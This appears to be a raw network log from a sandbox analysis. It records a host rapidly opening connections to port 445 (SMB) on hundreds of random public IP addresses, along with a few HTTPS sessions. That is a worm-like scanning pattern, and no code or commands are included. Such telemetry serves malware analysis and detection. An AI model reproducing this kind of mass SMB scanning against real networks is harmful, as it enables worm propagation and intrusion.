Jul 20, 2022 09:08:49.472090006 CEST	51637	445	192.168.2.6	131.44.44.124
Jul 20, 2022 09:08:49.472111940 CEST	51639	445	192.168.2.6	82.196.62.4
Jul 20, 2022 09:08:49.472589970 CEST	51635	445	192.168.2.6	12.228.81.125
Jul 20, 2022 09:08:50.473481894 CEST	51643	445	192.168.2.6	207.101.174.139
Jul 20, 2022 09:08:50.509481907 CEST	51644	445	192.168.2.6	72.124.242.201
Jul 20, 2022 09:08:50.509685040 CEST	51645	445	192.168.2.6	73.33.168.15
Jul 20, 2022 09:08:50.509744883 CEST	51646	445	192.168.2.6	168.202.165.231
Jul 20, 2022 09:08:50.509812117 CEST	51647	445	192.168.2.6	120.175.161.4
Jul 20, 2022 09:08:50.509850025 CEST	51648	445	192.168.2.6	154.27.71.34
Jul 20, 2022 09:08:50.509953022 CEST	51650	445	192.168.2.6	6.165.66.163
Jul 20, 2022 09:08:50.509967089 CEST	51649	445	192.168.2.6	180.169.110.15
Jul 20, 2022 09:08:50.510109901 CEST	51651	445	192.168.2.6	195.160.204.113
Jul 20, 2022 09:08:50.510231972 CEST	51653	445	192.168.2.6	220.15.217.244
Jul 20, 2022 09:08:50.510236025 CEST	51652	445	192.168.2.6	23.114.97.62
Jul 20, 2022 09:08:50.537489891 CEST	51654	445	192.168.2.6	23.77.124.59
Jul 20, 2022 09:08:50.560137987 CEST	51657	445	192.168.2.6	114.96.220.170
Jul 20, 2022 09:08:50.560935020 CEST	51658	445	192.168.2.6	111.19.0.213
Jul 20, 2022 09:08:50.602576971 CEST	51661	445	192.168.2.6	113.236.161.45
Jul 20, 2022 09:08:50.603306055 CEST	51662	445	192.168.2.6	22.188.214.164
Jul 20, 2022 09:08:50.604021072 CEST	51663	445	192.168.2.6	65.152.150.210
Jul 20, 2022 09:08:50.605056047 CEST	51664	445	192.168.2.6	187.215.163.237
Jul 20, 2022 09:08:50.646764040 CEST	445	51648	154.27.71.34	192.168.2.6
Jul 20, 2022 09:08:50.676945925 CEST	51667	445	192.168.2.6	131.59.173.123
Jul 20, 2022 09:08:50.677850962 CEST	51669	445	192.168.2.6	22.195.27.160
Jul 20, 2022 09:08:50.678092957 CEST	51670	445	192.168.2.6	105.97.199.29
Jul 20, 2022 09:08:50.678240061 CEST	51671	445	192.168.2.6	137.195.82.198
Jul 20, 2022 09:08:50.678384066 CEST	51672	445	192.168.2.6	84.87.117.204
Jul 20, 2022 09:08:50.678530931 CEST	51673	445	192.168.2.6	27.131.204.71
Jul 20, 2022 09:08:50.678699970 CEST	51674	445	192.168.2.6	117.97.12.64
Jul 20, 2022 09:08:50.678837061 CEST	51675	445	192.168.2.6	104.212.202.122
Jul 20, 2022 09:08:50.678975105 CEST	51676	445	192.168.2.6	78.127.27.173
Jul 20, 2022 09:08:50.679111004 CEST	51677	445	192.168.2.6	84.202.134.28
Jul 20, 2022 09:08:50.679243088 CEST	51678	445	192.168.2.6	172.187.139.117
Jul 20, 2022 09:08:50.679429054 CEST	51680	445	192.168.2.6	222.5.28.120
Jul 20, 2022 09:08:50.679630995 CEST	51668	445	192.168.2.6	117.105.210.204
Jul 20, 2022 09:08:51.270870924 CEST	51648	445	192.168.2.6	154.27.71.34
Jul 20, 2022 09:08:51.407937050 CEST	445	51648	154.27.71.34	192.168.2.6
Jul 20, 2022 09:08:51.584538937 CEST	51686	445	192.168.2.6	117.168.168.165
Jul 20, 2022 09:08:51.618499994 CEST	51687	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:51.630953074 CEST	51688	445	192.168.2.6	14.234.42.99
Jul 20, 2022 09:08:51.633789062 CEST	51689	445	192.168.2.6	103.55.66.140
Jul 20, 2022 09:08:51.633938074 CEST	51690	445	192.168.2.6	94.86.11.8
Jul 20, 2022 09:08:51.634020090 CEST	51691	445	192.168.2.6	206.18.28.128
Jul 20, 2022 09:08:51.634052038 CEST	51692	445	192.168.2.6	209.56.144.30
Jul 20, 2022 09:08:51.634130955 CEST	51693	445	192.168.2.6	10.93.172.135
Jul 20, 2022 09:08:51.634228945 CEST	51694	445	192.168.2.6	163.157.150.108
Jul 20, 2022 09:08:51.634247065 CEST	51695	445	192.168.2.6	142.185.204.196
Jul 20, 2022 09:08:51.634346008 CEST	51696	445	192.168.2.6	142.159.0.1
Jul 20, 2022 09:08:51.634350061 CEST	51697	445	192.168.2.6	222.150.198.110
Jul 20, 2022 09:08:51.646991014 CEST	51698	445	192.168.2.6	112.177.163.180
Jul 20, 2022 09:08:51.677987099 CEST	51699	445	192.168.2.6	32.108.58.123
Jul 20, 2022 09:08:51.678837061 CEST	51700	445	192.168.2.6	122.226.247.68
Jul 20, 2022 09:08:51.701306105 CEST	51705	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:51.701355934 CEST	443	51705	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:51.701483011 CEST	51705	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:51.721375942 CEST	51705	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:51.721443892 CEST	443	51705	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:51.743211031 CEST	51706	445	192.168.2.6	177.63.1.154
Jul 20, 2022 09:08:51.744060993 CEST	51707	445	192.168.2.6	199.71.159.15
Jul 20, 2022 09:08:51.744818926 CEST	51708	445	192.168.2.6	85.254.114.117
Jul 20, 2022 09:08:51.745579004 CEST	51709	445	192.168.2.6	48.201.207.46
Jul 20, 2022 09:08:51.778697014 CEST	445	51695	142.185.204.196	192.168.2.6
Jul 20, 2022 09:08:51.803920031 CEST	51712	445	192.168.2.6	186.75.244.107
Jul 20, 2022 09:08:51.804488897 CEST	51713	445	192.168.2.6	139.213.121.22
Jul 20, 2022 09:08:51.805037022 CEST	51714	445	192.168.2.6	185.134.227.193
Jul 20, 2022 09:08:51.805603027 CEST	51715	445	192.168.2.6	65.80.83.4
Jul 20, 2022 09:08:51.806150913 CEST	51716	445	192.168.2.6	206.161.247.52
Jul 20, 2022 09:08:51.806735039 CEST	51717	445	192.168.2.6	191.44.148.158
Jul 20, 2022 09:08:51.807533979 CEST	51718	445	192.168.2.6	11.21.91.233
Jul 20, 2022 09:08:51.808114052 CEST	51719	445	192.168.2.6	131.104.27.174
Jul 20, 2022 09:08:51.808679104 CEST	51720	445	192.168.2.6	92.96.154.21
Jul 20, 2022 09:08:51.809240103 CEST	51721	445	192.168.2.6	162.177.252.15
Jul 20, 2022 09:08:51.810108900 CEST	51722	445	192.168.2.6	188.149.204.22
Jul 20, 2022 09:08:51.811228037 CEST	51724	445	192.168.2.6	28.103.110.101
Jul 20, 2022 09:08:51.812261105 CEST	51726	445	192.168.2.6	20.87.211.169
Jul 20, 2022 09:08:51.844053030 CEST	445	51687	201.187.246.3	192.168.2.6
Jul 20, 2022 09:08:51.844182968 CEST	51687	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:51.861062050 CEST	443	51705	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:51.861172915 CEST	51705	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:52.302170992 CEST	51695	445	192.168.2.6	142.185.204.196
Jul 20, 2022 09:08:52.326769114 CEST	51705	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:52.326801062 CEST	443	51705	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:52.327208996 CEST	443	51705	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:52.327287912 CEST	51705	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:52.410304070 CEST	445	51706	177.63.1.154	192.168.2.6
Jul 20, 2022 09:08:52.420234919 CEST	51705	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:52.420361996 CEST	443	51705	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:52.446799040 CEST	445	51695	142.185.204.196	192.168.2.6
Jul 20, 2022 09:08:52.567857027 CEST	51687	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:52.576828003 CEST	443	51705	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:52.576911926 CEST	51705	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:52.576915979 CEST	443	51705	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:52.576972961 CEST	51705	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:52.581505060 CEST	51705	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:52.581541061 CEST	443	51705	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:52.709311008 CEST	51732	445	192.168.2.6	118.111.68.246
Jul 20, 2022 09:08:52.742126942 CEST	51733	445	192.168.2.6	201.161.208.183
Jul 20, 2022 09:08:52.743331909 CEST	51734	445	192.168.2.6	200.218.2.205
Jul 20, 2022 09:08:52.744208097 CEST	51735	445	192.168.2.6	15.233.104.28
Jul 20, 2022 09:08:52.744718075 CEST	51736	445	192.168.2.6	138.154.131.14
Jul 20, 2022 09:08:52.747081995 CEST	51737	445	192.168.2.6	184.33.193.150
Jul 20, 2022 09:08:52.747731924 CEST	51738	445	192.168.2.6	157.176.149.158
Jul 20, 2022 09:08:52.747750998 CEST	51739	445	192.168.2.6	177.42.65.56
Jul 20, 2022 09:08:52.747765064 CEST	51741	445	192.168.2.6	193.8.218.13
Jul 20, 2022 09:08:52.747778893 CEST	51740	445	192.168.2.6	41.206.22.251
Jul 20, 2022 09:08:52.747937918 CEST	51742	445	192.168.2.6	20.45.63.201
Jul 20, 2022 09:08:52.756272078 CEST	51743	445	192.168.2.6	183.70.212.235
Jul 20, 2022 09:08:52.802937031 CEST	51744	445	192.168.2.6	97.134.26.173
Jul 20, 2022 09:08:52.803589106 CEST	51745	445	192.168.2.6	186.137.166.222
Jul 20, 2022 09:08:52.866683006 CEST	51750	445	192.168.2.6	148.236.202.39
Jul 20, 2022 09:08:52.866708040 CEST	51751	445	192.168.2.6	185.113.65.61
Jul 20, 2022 09:08:52.866790056 CEST	51752	445	192.168.2.6	117.137.89.246
Jul 20, 2022 09:08:52.866816044 CEST	51753	445	192.168.2.6	212.77.179.0
Jul 20, 2022 09:08:52.939332008 CEST	51755	445	192.168.2.6	200.155.53.68
Jul 20, 2022 09:08:52.943180084 CEST	51757	445	192.168.2.6	218.147.84.254
Jul 20, 2022 09:08:52.943228960 CEST	51756	445	192.168.2.6	174.85.235.162
Jul 20, 2022 09:08:52.943335056 CEST	51758	445	192.168.2.6	132.200.224.232
Jul 20, 2022 09:08:52.943438053 CEST	51761	445	192.168.2.6	218.211.154.51
Jul 20, 2022 09:08:52.943491936 CEST	51764	445	192.168.2.6	213.211.50.147
Jul 20, 2022 09:08:52.943582058 CEST	51765	445	192.168.2.6	34.181.167.246
Jul 20, 2022 09:08:52.943667889 CEST	51767	445	192.168.2.6	163.92.166.239
Jul 20, 2022 09:08:52.943674088 CEST	51766	445	192.168.2.6	149.3.149.19
Jul 20, 2022 09:08:52.943701029 CEST	51768	445	192.168.2.6	13.242.200.105
Jul 20, 2022 09:08:52.943762064 CEST	51769	445	192.168.2.6	66.3.127.229
Jul 20, 2022 09:08:52.943823099 CEST	51770	445	192.168.2.6	155.15.174.13
Jul 20, 2022 09:08:52.943831921 CEST	51771	445	192.168.2.6	65.20.18.187
Jul 20, 2022 09:08:53.271017075 CEST	51687	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:53.834252119 CEST	51776	445	192.168.2.6	153.238.202.144
Jul 20, 2022 09:08:53.867238998 CEST	51777	445	192.168.2.6	197.13.134.169
Jul 20, 2022 09:08:53.885689974 CEST	51778	445	192.168.2.6	83.105.73.102
Jul 20, 2022 09:08:53.885788918 CEST	51779	445	192.168.2.6	204.244.102.142
Jul 20, 2022 09:08:53.885874987 CEST	51780	445	192.168.2.6	143.238.215.192
Jul 20, 2022 09:08:53.886010885 CEST	51781	445	192.168.2.6	201.166.77.193
Jul 20, 2022 09:08:53.886117935 CEST	51782	445	192.168.2.6	14.253.31.194
Jul 20, 2022 09:08:53.886210918 CEST	51783	445	192.168.2.6	123.17.102.30
Jul 20, 2022 09:08:53.886312962 CEST	51784	445	192.168.2.6	208.100.237.208
Jul 20, 2022 09:08:53.886418104 CEST	51785	445	192.168.2.6	100.118.160.250
Jul 20, 2022 09:08:53.886508942 CEST	51786	445	192.168.2.6	213.214.1.254
Jul 20, 2022 09:08:53.886629105 CEST	51787	445	192.168.2.6	10.129.48.105
Jul 20, 2022 09:08:53.929744005 CEST	51788	445	192.168.2.6	173.68.60.204
Jul 20, 2022 09:08:53.929896116 CEST	51790	445	192.168.2.6	196.94.0.80
Jul 20, 2022 09:08:53.991651058 CEST	51794	445	192.168.2.6	52.53.122.192
Jul 20, 2022 09:08:53.991671085 CEST	51795	445	192.168.2.6	128.203.220.69
Jul 20, 2022 09:08:53.991847992 CEST	51797	445	192.168.2.6	170.248.37.79
Jul 20, 2022 09:08:53.991868019 CEST	51796	445	192.168.2.6	185.172.156.82
Jul 20, 2022 09:08:54.054517984 CEST	51799	445	192.168.2.6	78.71.139.75
Jul 20, 2022 09:08:54.080013990 CEST	51800	445	192.168.2.6	32.228.21.227
Jul 20, 2022 09:08:54.080071926 CEST	51801	445	192.168.2.6	38.111.238.150
Jul 20, 2022 09:08:54.080526114 CEST	51802	445	192.168.2.6	36.221.137.203
Jul 20, 2022 09:08:54.080636978 CEST	51804	445	192.168.2.6	203.7.188.249
Jul 20, 2022 09:08:54.080676079 CEST	51803	445	192.168.2.6	167.106.150.110
Jul 20, 2022 09:08:54.080817938 CEST	51805	445	192.168.2.6	30.143.112.203
Jul 20, 2022 09:08:54.080878019 CEST	51807	445	192.168.2.6	213.170.88.203
Jul 20, 2022 09:08:54.080977917 CEST	51806	445	192.168.2.6	120.77.204.205
Jul 20, 2022 09:08:54.081002951 CEST	51808	445	192.168.2.6	51.67.72.243
Jul 20, 2022 09:08:54.081150055 CEST	51809	445	192.168.2.6	156.51.220.183
Jul 20, 2022 09:08:54.081306934 CEST	51813	445	192.168.2.6	211.184.237.129
Jul 20, 2022 09:08:54.081362009 CEST	51815	445	192.168.2.6	189.9.51.95
Jul 20, 2022 09:08:54.138233900 CEST	445	51807	213.170.88.203	192.168.2.6
Jul 20, 2022 09:08:54.772823095 CEST	51687	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:54.802377939 CEST	51807	445	192.168.2.6	213.170.88.203
Jul 20, 2022 09:08:54.858731031 CEST	445	51807	213.170.88.203	192.168.2.6
Jul 20, 2022 09:08:54.959685087 CEST	51821	445	192.168.2.6	97.25.90.139
Jul 20, 2022 09:08:54.986637115 CEST	51822	445	192.168.2.6	94.224.160.86
Jul 20, 2022 09:08:54.992130995 CEST	51823	445	192.168.2.6	71.43.15.25
Jul 20, 2022 09:08:54.992747068 CEST	51824	445	192.168.2.6	100.227.113.103
Jul 20, 2022 09:08:54.993313074 CEST	51825	445	192.168.2.6	93.152.96.9
Jul 20, 2022 09:08:54.993896961 CEST	51826	445	192.168.2.6	210.225.222.250
Jul 20, 2022 09:08:54.994488001 CEST	51827	445	192.168.2.6	46.172.125.195
Jul 20, 2022 09:08:54.995201111 CEST	51828	445	192.168.2.6	182.124.134.177
Jul 20, 2022 09:08:54.996916056 CEST	51829	445	192.168.2.6	189.61.222.9
Jul 20, 2022 09:08:54.997030020 CEST	51830	445	192.168.2.6	183.30.32.141
Jul 20, 2022 09:08:54.997159958 CEST	51832	445	192.168.2.6	53.244.40.31
Jul 20, 2022 09:08:54.997169971 CEST	51831	445	192.168.2.6	21.230.108.45
Jul 20, 2022 09:08:55.040832043 CEST	51836	445	192.168.2.6	221.178.168.49
Jul 20, 2022 09:08:55.041480064 CEST	51837	445	192.168.2.6	121.171.137.26
Jul 20, 2022 09:08:55.116769075 CEST	51839	445	192.168.2.6	113.143.23.3
Jul 20, 2022 09:08:55.117861986 CEST	51841	445	192.168.2.6	24.68.173.79
Jul 20, 2022 09:08:55.117889881 CEST	51840	445	192.168.2.6	1.250.193.78
Jul 20, 2022 09:08:55.118024111 CEST	51842	445	192.168.2.6	79.51.41.145
Jul 20, 2022 09:08:55.179224014 CEST	51844	445	192.168.2.6	112.247.47.78
Jul 20, 2022 09:08:55.194880009 CEST	51845	445	192.168.2.6	165.127.88.49
Jul 20, 2022 09:08:55.195712090 CEST	51846	445	192.168.2.6	18.109.118.228
Jul 20, 2022 09:08:55.196449995 CEST	51847	445	192.168.2.6	164.108.234.112
Jul 20, 2022 09:08:55.197252989 CEST	51848	445	192.168.2.6	201.15.193.68
Jul 20, 2022 09:08:55.213001013 CEST	51849	445	192.168.2.6	108.81.231.199
Jul 20, 2022 09:08:55.219039917 CEST	51850	445	192.168.2.6	123.60.9.22
Jul 20, 2022 09:08:55.219320059 CEST	51852	445	192.168.2.6	3.206.216.14
Jul 20, 2022 09:08:55.219326019 CEST	51851	445	192.168.2.6	205.199.52.240
Jul 20, 2022 09:08:55.219485044 CEST	51853	445	192.168.2.6	9.11.125.36
Jul 20, 2022 09:08:55.219718933 CEST	51854	445	192.168.2.6	205.232.245.196
Jul 20, 2022 09:08:55.219739914 CEST	51859	445	192.168.2.6	135.195.20.59
Jul 20, 2022 09:08:55.219806910 CEST	51860	445	192.168.2.6	188.92.153.69
Jul 20, 2022 09:08:56.085005045 CEST	51866	445	192.168.2.6	89.142.91.250
Jul 20, 2022 09:08:56.085498095 CEST	51867	445	192.168.2.6	210.214.216.73
Jul 20, 2022 09:08:56.120652914 CEST	51868	445	192.168.2.6	134.128.8.32
Jul 20, 2022 09:08:56.120649099 CEST	51869	445	192.168.2.6	46.153.66.11
Jul 20, 2022 09:08:56.120927095 CEST	51870	445	192.168.2.6	203.121.203.115
Jul 20, 2022 09:08:56.120999098 CEST	51871	445	192.168.2.6	167.101.38.249
Jul 20, 2022 09:08:56.121073008 CEST	51873	445	192.168.2.6	87.107.148.172
Jul 20, 2022 09:08:56.121098042 CEST	51872	445	192.168.2.6	11.48.178.44
Jul 20, 2022 09:08:56.121221066 CEST	51874	445	192.168.2.6	209.252.254.30
Jul 20, 2022 09:08:56.121289968 CEST	51875	445	192.168.2.6	182.16.45.21
Jul 20, 2022 09:08:56.121355057 CEST	51876	445	192.168.2.6	210.104.210.204
Jul 20, 2022 09:08:56.121381998 CEST	51877	445	192.168.2.6	217.196.16.209
Jul 20, 2022 09:08:56.199047089 CEST	51881	445	192.168.2.6	129.148.197.65
Jul 20, 2022 09:08:56.199106932 CEST	51882	445	192.168.2.6	67.28.18.210
Jul 20, 2022 09:08:56.252304077 CEST	51884	445	192.168.2.6	175.51.20.31
Jul 20, 2022 09:08:56.252798080 CEST	51885	445	192.168.2.6	4.196.161.191
Jul 20, 2022 09:08:56.252907991 CEST	51886	445	192.168.2.6	46.17.202.165
Jul 20, 2022 09:08:56.252991915 CEST	51887	445	192.168.2.6	163.8.75.65
Jul 20, 2022 09:08:56.277388096 CEST	445	51873	87.107.148.172	192.168.2.6
Jul 20, 2022 09:08:56.303649902 CEST	51889	445	192.168.2.6	41.198.239.195
Jul 20, 2022 09:08:56.319607973 CEST	51890	445	192.168.2.6	65.199.101.95
Jul 20, 2022 09:08:56.320377111 CEST	51891	445	192.168.2.6	62.33.94.29
Jul 20, 2022 09:08:56.320982933 CEST	51892	445	192.168.2.6	208.169.54.159
Jul 20, 2022 09:08:56.321584940 CEST	51893	445	192.168.2.6	10.38.131.241
Jul 20, 2022 09:08:56.367266893 CEST	51895	445	192.168.2.6	209.2.25.24
Jul 20, 2022 09:08:56.367280960 CEST	51894	445	192.168.2.6	192.73.141.250
Jul 20, 2022 09:08:56.367523909 CEST	51901	445	192.168.2.6	52.206.78.24
Jul 20, 2022 09:08:56.367533922 CEST	51900	445	192.168.2.6	86.47.36.192
Jul 20, 2022 09:08:56.367650986 CEST	51902	445	192.168.2.6	155.100.202.201
Jul 20, 2022 09:08:56.367782116 CEST	51903	445	192.168.2.6	15.75.60.31
Jul 20, 2022 09:08:56.367784977 CEST	51905	445	192.168.2.6	112.96.53.108
Jul 20, 2022 09:08:56.367794037 CEST	51904	445	192.168.2.6	41.240.40.7
Jul 20, 2022 09:08:56.469444036 CEST	445	51870	203.121.203.115	192.168.2.6
Jul 20, 2022 09:08:56.962702990 CEST	51873	445	192.168.2.6	87.107.148.172
Jul 20, 2022 09:08:57.068181992 CEST	51870	445	192.168.2.6	203.121.203.115
Jul 20, 2022 09:08:57.119416952 CEST	445	51873	87.107.148.172	192.168.2.6
Jul 20, 2022 09:08:57.211738110 CEST	51912	445	192.168.2.6	91.57.165.91
Jul 20, 2022 09:08:57.212459087 CEST	51913	445	192.168.2.6	213.126.119.160
Jul 20, 2022 09:08:57.250031948 CEST	51914	445	192.168.2.6	61.252.147.248
Jul 20, 2022 09:08:57.250936031 CEST	51915	445	192.168.2.6	196.212.57.23
Jul 20, 2022 09:08:57.251708984 CEST	51916	445	192.168.2.6	13.63.151.17
Jul 20, 2022 09:08:57.252707005 CEST	51917	445	192.168.2.6	94.78.34.82
Jul 20, 2022 09:08:57.253532887 CEST	51918	445	192.168.2.6	92.147.108.98
Jul 20, 2022 09:08:57.254410028 CEST	51919	445	192.168.2.6	29.145.108.90
Jul 20, 2022 09:08:57.256520033 CEST	51920	445	192.168.2.6	163.105.69.48
Jul 20, 2022 09:08:57.256659031 CEST	51921	445	192.168.2.6	203.183.108.141
Jul 20, 2022 09:08:57.256660938 CEST	51922	445	192.168.2.6	202.168.186.63
Jul 20, 2022 09:08:57.256683111 CEST	51923	445	192.168.2.6	57.233.7.47
Jul 20, 2022 09:08:57.323738098 CEST	51927	445	192.168.2.6	115.2.111.66
Jul 20, 2022 09:08:57.324678898 CEST	51928	445	192.168.2.6	1.36.162.97
Jul 20, 2022 09:08:57.351581097 CEST	51930	445	192.168.2.6	77.61.136.125
Jul 20, 2022 09:08:57.352377892 CEST	51931	445	192.168.2.6	83.209.112.11
Jul 20, 2022 09:08:57.353058100 CEST	51932	445	192.168.2.6	30.193.30.41
Jul 20, 2022 09:08:57.353744984 CEST	51933	445	192.168.2.6	25.93.140.138
Jul 20, 2022 09:08:57.416336060 CEST	445	51870	203.121.203.115	192.168.2.6
Jul 20, 2022 09:08:57.434919119 CEST	51935	445	192.168.2.6	39.254.135.75
Jul 20, 2022 09:08:57.445712090 CEST	51936	445	192.168.2.6	184.169.97.233
Jul 20, 2022 09:08:57.446537018 CEST	51937	445	192.168.2.6	72.101.97.154
Jul 20, 2022 09:08:57.447320938 CEST	51938	445	192.168.2.6	28.168.225.201
Jul 20, 2022 09:08:57.448661089 CEST	51939	445	192.168.2.6	212.218.195.129
Jul 20, 2022 09:08:57.458945990 CEST	51687	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:57.477157116 CEST	51940	445	192.168.2.6	218.124.123.26
Jul 20, 2022 09:08:57.478003979 CEST	51941	445	192.168.2.6	45.21.173.11
Jul 20, 2022 09:08:57.484775066 CEST	51946	445	192.168.2.6	156.31.22.205
Jul 20, 2022 09:08:57.485131025 CEST	51948	445	192.168.2.6	217.144.254.44
Jul 20, 2022 09:08:57.485224962 CEST	51947	445	192.168.2.6	52.83.44.120
Jul 20, 2022 09:08:57.485225916 CEST	51949	445	192.168.2.6	40.15.217.206
Jul 20, 2022 09:08:57.485336065 CEST	51950	445	192.168.2.6	158.53.144.58
Jul 20, 2022 09:08:57.485536098 CEST	51951	445	192.168.2.6	71.185.37.19
Jul 20, 2022 09:08:57.510410070 CEST	51952	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:57.510445118 CEST	443	51952	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:57.510540962 CEST	51952	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:57.511591911 CEST	51952	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:57.511605024 CEST	443	51952	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:57.600397110 CEST	443	51952	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:57.600497961 CEST	51952	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:57.603409052 CEST	51952	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:57.603425980 CEST	443	51952	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:57.603734016 CEST	443	51952	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:57.612260103 CEST	51952	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:57.612339020 CEST	51952	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:57.612349033 CEST	443	51952	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:57.612519026 CEST	51952	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:57.639626980 CEST	443	51952	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:57.639703035 CEST	443	51952	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:57.639790058 CEST	51952	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:57.639924049 CEST	51952	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:57.639950991 CEST	443	51952	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:58.335613012 CEST	51959	445	192.168.2.6	173.146.144.192
Jul 20, 2022 09:08:58.335895061 CEST	51960	445	192.168.2.6	150.174.237.149
Jul 20, 2022 09:08:58.366771936 CEST	51961	445	192.168.2.6	105.200.133.205
Jul 20, 2022 09:08:58.367455959 CEST	51962	445	192.168.2.6	29.34.20.114
Jul 20, 2022 09:08:58.368124962 CEST	51963	445	192.168.2.6	92.13.38.173
Jul 20, 2022 09:08:58.369503975 CEST	51965	445	192.168.2.6	130.108.144.170
Jul 20, 2022 09:08:58.371529102 CEST	51966	445	192.168.2.6	42.64.145.246
Jul 20, 2022 09:08:58.382292986 CEST	51967	445	192.168.2.6	128.219.131.226
Jul 20, 2022 09:08:58.382867098 CEST	51968	445	192.168.2.6	182.221.173.140
Jul 20, 2022 09:08:58.383456945 CEST	51969	445	192.168.2.6	85.58.206.100
Jul 20, 2022 09:08:58.383980036 CEST	51970	445	192.168.2.6	176.195.145.11
Jul 20, 2022 09:08:58.436784983 CEST	445	51970	176.195.145.11	192.168.2.6
Jul 20, 2022 09:08:58.447127104 CEST	51974	445	192.168.2.6	67.114.175.201
Jul 20, 2022 09:08:58.448858976 CEST	51976	445	192.168.2.6	170.2.179.35
Jul 20, 2022 09:08:58.497471094 CEST	51977	445	192.168.2.6	215.221.167.25
Jul 20, 2022 09:08:58.497544050 CEST	51978	445	192.168.2.6	182.172.81.147
Jul 20, 2022 09:08:58.497678995 CEST	51980	445	192.168.2.6	216.60.158.50
Jul 20, 2022 09:08:58.497725964 CEST	51979	445	192.168.2.6	13.58.170.80
Jul 20, 2022 09:08:58.553541899 CEST	51982	445	192.168.2.6	110.80.89.250
Jul 20, 2022 09:08:58.571180105 CEST	51983	445	192.168.2.6	63.232.184.238
Jul 20, 2022 09:08:58.571734905 CEST	51984	445	192.168.2.6	21.13.126.48
Jul 20, 2022 09:08:58.572349072 CEST	51985	445	192.168.2.6	6.248.118.221
Jul 20, 2022 09:08:58.572817087 CEST	51986	445	192.168.2.6	107.90.49.143
Jul 20, 2022 09:08:58.608854055 CEST	51987	445	192.168.2.6	79.150.44.16
Jul 20, 2022 09:08:58.609236956 CEST	51988	445	192.168.2.6	187.241.252.57
Jul 20, 2022 09:08:58.609301090 CEST	51989	445	192.168.2.6	68.228.84.225
Jul 20, 2022 09:08:58.609409094 CEST	51990	445	192.168.2.6	82.244.7.83
Jul 20, 2022 09:08:58.609572887 CEST	51991	445	192.168.2.6	38.136.136.180
Jul 20, 2022 09:08:58.609725952 CEST	51993	445	192.168.2.6	19.222.20.181
Jul 20, 2022 09:08:58.609728098 CEST	51997	445	192.168.2.6	110.38.79.220
Jul 20, 2022 09:08:58.609754086 CEST	51998	445	192.168.2.6	94.182.74.16
Jul 20, 2022 09:08:58.959011078 CEST	51970	445	192.168.2.6	176.195.145.11
Jul 20, 2022 09:08:59.011847973 CEST	445	51970	176.195.145.11	192.168.2.6
Jul 20, 2022 09:08:59.568429947 CEST	51970	445	192.168.2.6	176.195.145.11
Jul 20, 2022 09:08:59.600595951 CEST	52006	445	192.168.2.6	90.195.66.173
Jul 20, 2022 09:08:59.601319075 CEST	52007	445	192.168.2.6	53.218.60.5
Jul 20, 2022 09:08:59.602021933 CEST	52008	445	192.168.2.6	122.201.231.165
Jul 20, 2022 09:08:59.602685928 CEST	52009	445	192.168.2.6	135.178.131.160
Jul 20, 2022 09:08:59.603394032 CEST	52010	445	192.168.2.6	180.179.173.18
Jul 20, 2022 09:08:59.604120016 CEST	52011	445	192.168.2.6	28.116.137.170
Jul 20, 2022 09:08:59.605190992 CEST	52012	445	192.168.2.6	23.135.117.37
Jul 20, 2022 09:08:59.605916977 CEST	52013	445	192.168.2.6	139.40.144.112
Jul 20, 2022 09:08:59.621283054 CEST	445	51970	176.195.145.11	192.168.2.6
Jul 20, 2022 09:08:59.711908102 CEST	52014	445	192.168.2.6	58.233.239.251
Jul 20, 2022 09:08:59.712713957 CEST	52015	445	192.168.2.6	90.100.77.134
Jul 20, 2022 09:08:59.713502884 CEST	52016	445	192.168.2.6	175.52.35.204
Jul 20, 2022 09:08:59.714263916 CEST	52017	445	192.168.2.6	8.235.0.33
Jul 20, 2022 09:08:59.715033054 CEST	52018	445	192.168.2.6	119.236.36.127
Jul 20, 2022 09:08:59.715797901 CEST	52019	445	192.168.2.6	134.176.17.98
Jul 20, 2022 09:08:59.716600895 CEST	52020	445	192.168.2.6	115.151.13.10
Jul 20, 2022 09:08:59.717365980 CEST	52021	445	192.168.2.6	197.96.145.199
Jul 20, 2022 09:08:59.718139887 CEST	52022	445	192.168.2.6	59.43.124.46
